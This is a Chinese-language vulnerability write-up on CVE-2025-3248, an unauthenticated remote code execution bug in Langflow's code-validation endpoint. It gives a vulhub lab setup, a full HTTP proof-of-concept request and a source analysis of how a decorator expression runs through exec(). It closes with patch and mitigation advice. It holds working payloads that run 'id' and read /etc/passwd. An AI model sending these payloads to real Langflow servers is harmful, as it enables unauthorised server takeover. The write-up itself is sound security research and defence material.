CVE-2025-3248
漏洞描述
Langflow 是一个基于 Python 的开源 低代码/可视化 平台,用拖拽式界面把 LLM 应用、Agent 工作流、RAG(检索增强生成)等“搭积木”式编排起来,并提供 Web/API 方式部署和调用。它常用于快速构建聊天机器人、知识库问答、自动化智能体流程、提示词工程实验等。
CVE-2025-3248 的核心问题是:Langflow 在 /api/v1/validate/code 这个用于“校验代码”的接口中,存在 未授权访问 且对用户输入的处理过程中触发了不安全的 Python exec()(代码执行)路径,导致攻击者无需登录即可构造请求实现 远程代码执行(RCE) ,进而完全接管服务器。该问题影响 1.3.0 之前版本,官方在 Langflow 1.3.0 中修复(包含为该端点补充认证/限制与更安全的执行策略等)。
| 字段 | 内容 |
|---|---|
| 漏洞类型 | 远程代码执行 |
| 漏洞编号 | CVE-2025-3248 |
| 影响范围 | Langflow 1.3.0 之前版本 |
| 漏洞等级 | 严重(Critical),CVSS v3.1:9.8 |
| 修复状态 | 已修复:升级至 Langflow 1.3.0 及以上;补丁方向包括给端点增加认证(如 JWT)及更安全的代码处理/校验机制 |
漏洞复现
环境搭建
使用docker搭建,vluhub中有做好的靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/langflow/CVE-2025-3248
docker compose up -d
拉取源代码
wget https://github.com/langflow-ai/langflow/archive/refs/tags/1.2.0.zip
POC验证
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 105
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: http://127.0.0.1:7860
Referer: http://127.0.0.1:7860/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}

漏洞分析
src/backend/base/langflow/api/v1/validate.py
@router.post("/code", status_code=200)
async def post_validate_code(code: Code) -> CodeValidationResponse:try:errors = validate_code(code.code)return CodeValidationResponse(imports=errors.get("imports", {}),function=errors.get("function", {}),)except Exception as e:logger.opt(exception=True).debug("Error validating code")raise HTTPException(status_code=500, detail=str(e)) from e
/api/v1/validate/code端点没做鉴权,该接口直接把请求体里的 code.code 传给 utils/validate.py:validate_code
utils/validate.py:validate_code
def validate_code(code):# Initialize the errors dictionaryerrors = {"imports": {"errors": []}, "function": {"errors": []}}# Parse the code string into an abstract syntax tree (AST)try:tree = ast.parse(code)except Exception as e: # noqa: BLE001if hasattr(logger, "opt"):logger.opt(exception=True).debug("Error parsing code")else:logger.debug("Error parsing code")errors["function"]["errors"].append(str(e))return errors# Add a dummy type_ignores field to the ASTadd_type_ignores()tree.type_ignores = []# Evaluate the import statementsfor node in tree.body:if isinstance(node, ast.Import):for alias in node.names:try:importlib.import_module(alias.name)except ModuleNotFoundError as e:errors["imports"]["errors"].append(str(e))# Evaluate the function definitionfor node in tree.body:if isinstance(node, ast.FunctionDef):code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")try:exec(code_obj)except Exception as e: # noqa: BLE001logger.opt(exception=True).debug("Error executing function code")errors["function"]["errors"].append(str(e))# Return the errors dictionaryreturn errors
该函数将code传给了ast.parse函数,并提取ast.Import和ast.FunctionDef内容,也就是解析提交内容中的import和函数定义。
流程分三步:
- ast.parse(code) :把用户上传的 Python 字符串解析成 AST(抽象语法树)。
- 遍历 tree.body 中的 ast.Import 节点, 实际调用 importlib.import_module() 。
- 遍历 tree.body 中的 ast.FunctionDef 节点, 把它单独编译成一个 Module 并 exec 。
虽然 validate_code 只对 FunctionDef 节点做 compile(..., "exec") + exec() ,但在 Python 里:
模块执行时,为了“定义一个函数对象”,Python 必须先 对装饰器表达式 / 默认参数表达式 / 部分注解表达式求值 。
所以即使函数体( body )不运行, 某些表达式还是会在定义阶段被执行 。
我们用一个demo来说明这个问题
demo1.py
@print("Decorator")
def func():print("func")
demo2.py
import demo1
运行demo2.py,发现先执行了装饰器的内容,在报错。也就是说在该阶段,代码被执行。

回到这个漏洞,如果我们把装饰器让ast.FunctionDef来加载,装饰器会被放入decorator_list,然后编译执行函数定义的时候,decorator_list里的装饰器也同样就会被执行。
payload如下:
@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():pass
从 AST 视角看
AST(抽象语法树,Abstract Syntax Tree)是Python代码在解析过程中生成的一种树形数据结构,表示代码的语法结构。它是Python编译过程的一个中间表示形式,将源代码分解为更易于分析和操作的层次结构。
import astcode = """
@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():pass"""tree = ast.parse(code)
print(ast.dump(tree,indent=2))
得到tree
Module(body=[FunctionDef(name='foo',args=arguments(),body=[Pass()],decorator_list=[Call(func=Name(id='exec', ctx=Load()),args=[Constant(value='raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')])])])
按 validate_code 的逻辑

第一个for循环,在tree.body 里只有一个 FunctionDef ,没有任何 ast.Import 节点。所以不会调用importlib.import_module(alias.name)

第二个for循环,if isinstance(node, ast.FunctionDef):满足,进入if分支。
compile用于将字符串形式的 Python 源代码编译成代码对象(code object) ,本身不会执行代码。
编译后的代码对象可以交给exec或eval执行,常用于动态代码处理,但若来源不可信会带来严重安全风险。
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
把一个函数定义(包含装饰器)重新包装成一个“最小模块”,并编译成字节码,但并没有执行任何东西。
然后exec()执行字节码
raise Exception把输出作为异常信息抛出。由于发生了 raise Exception(...) ,exec(...) 调用没有正常返回;装饰器表达式求值过程中抛出的异常会一直往外冒,最后冒到 exec(code_obj) 那一层。
异常被 validate_code 捕获并记录

str(e) 的内容就是 subprocess.check_output(["cat", "/etc/passwd"]) 的输出
安全措施
升级到1.3.0
如果短期内不能升级到 1.3.0,临时措施:
阻断 /api/v1/validate/code 的公网访问
- 通过防火墙或反向代理, 阻止外网访问 /api/v1/validate/code ,只允许内部受信网络访问
官方补丁
为/api/v1/validate/code端点添加了JWT认证

参考:
vulhub/langflow/CVE-2025-3248 at master · vulhub/vulhub
任何速度都不安全:在Langflow AI中滥用Python exec进行非认证RCE |Horizon3.ai